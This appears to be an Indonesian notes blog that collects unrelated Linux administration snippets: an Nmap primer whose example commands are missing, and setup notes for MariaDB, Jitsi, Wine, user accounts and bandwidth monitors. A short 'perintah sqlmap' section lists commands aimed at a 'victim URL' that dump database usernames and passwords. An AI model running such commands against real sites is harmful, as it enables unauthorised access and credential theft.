Nmap dasar

Nmap adalah sebuah alat (tool) untuk pemindaian jaringan yang berguna untuk menemukan host dan layanan di jaringan komputer. Berikut adalah langkah-langkah dasar untuk menggunakan Nmap: Instalasi Nmap: Jika Nmap belum terinstal di sistem Anda, Anda perlu menginstalnya terlebih dahulu. Nmap tersedia untuk berbagai platform, termasuk Windows, macOS, dan distribusi Linux. Anda dapat mengunduhnya dari situs web resminya atau menggunakan manajer paket sistem Anda. Menjalankan Nmap: Setelah Anda menginstal Nmap, buka terminal atau command prompt di sistem Anda. Pemindaian Dasar: Salah satu cara termudah untuk menggunakan Nmap adalah dengan melakukan pemindaian dasar. Contoh sintaksisnya adalah:

Di mana [target] dapat berupa alamat IP, nama domain, atau jangkauan IP. Pemindaian Port: Anda juga dapat melakukan pemindaian port tertentu dengan menggunakan opsi -p. Misalnya:

Ini akan melakukan pemindaian hanya pada port 80 dan 443 pada target yang ditentukan. Pemindaian Intensif: Untuk pemindaian lebih intensif, Anda dapat menggunakan opsi -A, yang akan melakukan pemindaian port, deteksi versi, dan beberapa skrip dasar untuk mengetahui informasi tambahan tentang target. Contoh:

Menyimpan Hasil Pemindaian: Anda dapat menyimpan hasil pemindaian dalam berbagai format, termasuk teks biasa, XML, atau Nmap Scripting Engine (NSE) output. Contoh:

Ini akan menyimpan hasil pemindaian dalam format teks biasa dengan nama file "hasil_pemindaian.txt". Menyesuaikan Opsi: Ada banyak opsi dan bendera yang dapat Anda gunakan dengan Nmap. Anda dapat melihat dokumentasi resmi Nmap untuk mempelajari lebih lanjut tentang opsi-opsi tersebut. Ingatlah bahwa pemindaian jaringan tanpa izin dapat melanggar kebijakan atau undang-undang. Pastikan Anda memiliki izin sebelum melakukan pemindaian pada jaringan yang bukan milik Anda.

Instal Database di CentOS 7

 

Install Database Server

Server database yang digunakan pada cara install phpMyAdmin dengan Apache di CentOS 7 ini adalah MariaDB, karena MariaDB adalah server database paling up-to-date dan kompatibel saat ini. 

$ yum install mariadb-server mariadb -y

 

Start dan enable on-boot layanan MariaDB kemudian lakukan secure installation.

$ systemctl enable mariadb
$ systemctl start mariadb

$ mysql_secure_installation

Enter current password for root (enter for none): 
OK, successfully used password, moving on...


Setting the root password ensures that nobody can log into the MariaDB
root user without the proper authorisation.

Set root password? [Y/n] y
New password: 
Re-enter new password: 
Password updated successfully!
Reloading privilege tables..
 ... Success!

Remove anonymous users? [Y/n] y
 ... Success!

Disallow root login remotely? [Y/n] y
 ... Success!

Remove test database and access to it? [Y/n] y
 - Dropping test database...
 ... Success!
 - Removing privileges on test database...
 ... Success!


Reload privilege tables now? [Y/n] y
 ... Success!

Cleaning up...

All done! If you've completed all of the above steps, your MariaDB
installation should now be secure.

Thanks for using MariaDB!

Instal Jitsi

hostnamectl set-hostname vicon.yanmedia19.com

# snap install --classic certbot

# ln -s /snap/bin/certbot /usr/bin/certbot

# nano /etc/prosody/conf.avail/vicon.yanmedia19.com.id.cfg.lua

internal_plain

VirtualHost "guest.vicon.yanmedia19.com" 

authentication = "anonymous" 

c2s_require_encryption = false

org.jitsi.jicofo.auth.URL=XMPP:vicon.yanmedia19.com

prosodyctl register bhadix vicon.yanmedia19.com Secret#

prosodyctl register bhadix vicon.yanmedia19.com Secret#

test is inviting you to a meeting.

cara instal wine di linux 64 bit

Sebelumnya jika sitem operasi anda berarsitektur 64bit anda perlu mengenable arsitektur 32bit dengan command dibawah.

# sudo dpkg --add-architecture i386

lalu saya coba instal wine
ketik
# sudo apt-get install wine

tambahkan repository perlu ditambahkan
deb http://httpredir.debian.org/debian jessie-backports main

perintah sqlmap

sqlmap -u (url korban) --dbs
sqlmap -u (url korban) (db name) --tables
sqlmap -u (url korban) (db name) -T db_user --colomns
sqlmap -u (url korban) (db name) -T db_user -C username, password --dump

Tambah, hapus dan melihat user di linux

Menambah user di Linux:

Login sebagai root, buka terminal bisa dengan memilih icon terminal atau dengan Ctrl+Alt+T
Menambah user baru dengan perintah berikut

 #useradd -m namauser

-m digunakan untuk membuat directory user. Silahkan ganti namauser dengan nama user yang anda inginkan

    Mengganti password user

#passwd namauser

    Menambahkan user ke group sudo

#usermod -a -G sudo namauser

    Kemudian untuk menambahkan user ke default shell

 #chsh -s /bin/bash username

Selanjutnya tinggal logout dan coba login dengan user baru. Cara ini bisa digunakan juga pada ubuntu, debian maupun linux rasa mint.

untuk menghapus user :
userdel namaUser (hanya menghapus user)
userdel -r namaUser (menghapus user berikut home directory-nya)

melihat semua user & group :
Users – cat /etc/passwd | cut -d: -f1
Groups – cat /etc/group | cut -d: -f1

1. Begitu ssh, langsung liat last login, disitu ketauan IP mana yang terakhir kali masuk ke sistem kita:
Last login: Fri Feb 10 09:25:31 2015 from slp-ghuft-cist

2. melihat User dengan W or WHO
[root@tax ~]# w
[root@tax ~]# who

3. Bisa juga dengan ps aux
[root@tax ~]# ps aux |grep bash |grep pts

4. Melihat aktifitas terakhir dari semua user "lastlog"
#lastlog -u root
#lastlog -t 1
#lastlog -b 1

5. Menggunakan tools bantuan "fingger" tetapi harus di install
Kalo mau liat User yang ada
# cat /etc/passwd
# cat /etc/group
atau
# getent passwd
# getent group
6. vi /var/log/wtmp
7. vi .bash_history
8. tail -f /var/log/messages

sumber :
http://julismail.staff.telkomuniversity.ac.id/menambah-user-di-kali-linux/
http://dejanlucker.blogspot.co.id/2015/02/cara-mudah-mengetahui-user-dan-log.html

Macam-Macam Perintah Untuk Memantau Bandwidth Jaringan di Linux

Di kesempatan ini admin ingin bagi tahu tentang perintah-perintah untuk memantau bandwidth melalui jaringan di operasi sistem yang kita cintai yaitu linux :D
langsung saja :
=> 1.IPTRAF (interactif colorful ip lan monitor)
adalah berbasis konsol jaringan. lebih jelasnya bisa di baca di sini
cara installnya yaitu dengan mengetikkan :
# apt-get install iptraf
cara menggunakanya :
# iptraf [interface]

 

keterangan : [interface] adalah device yang ingin di monitori.
=> 2.BWM-NG (bandwidth monitor-ng)
adalah shell kecil dan mudah berdasarkan bandwidth yang memantau jaringan hidup. untuk lebih jelasnya bisa baca di sini
cara installnya yaitu dengan mengetikkan :
# apt-get install bwm-ng
cara menggunakanya :
# bwm-ng

=> 3.IFTOP (display bandwidth usage on an interface by host)
adalah baris perintah monitor sistem alat yang menghasilkan daftar yang sering diperbarui dari koneksi jaringan. untuk detailnya bisa baca di sini
cara installnya yaitu dengan mengetikkan :
# apt-get install iftop
cara menggunakanya :
# iftop -i [interface]


=> 4.TCPTRACK (monitor tcp connection on the network)
adalah monitor kecil untuk melacak koneksi TCP dan bandwidth memantau untuk review TCP. untuk detailnya bisa baca di sini
cara installnya yaitu dengan mengetikkan :
apt-get install tcptrack
cara menggunakanya :
tcptrack -i interface




=> 5.BMON (portable bandwidht monitor and rate estimor)
detailnya bisa baca di sini
cara installnya yaitu dengan mengetikkan :
# apt-get install bmon
cara menggunakanya :
# bmon


=> 6.NLOAD (display the current network usage)
cara installnya yaitu dengan mengetikkan :
# apt-get install nload
cara menggunakanya :
# nload [interface]






=> 7.SLURM (yet another network load monitor)
secara resmi dikenal sebagai Linux Utilitas sederhana untuk Manajemen Sumber Daya. detailnya bisa lihat di sini
cara installnya yaitu dengan mengetikkan :
apt-get install slurm
cara menggunakanya :
slurm -s -i [interface]


Sekian tutorial kali ini, semoga kecintaan kita terhadap linux semakin besar :D
Sumber :
http://am8080.blogspot.co.id/2015/09/macam-macam-perintah-untuk-memantau.html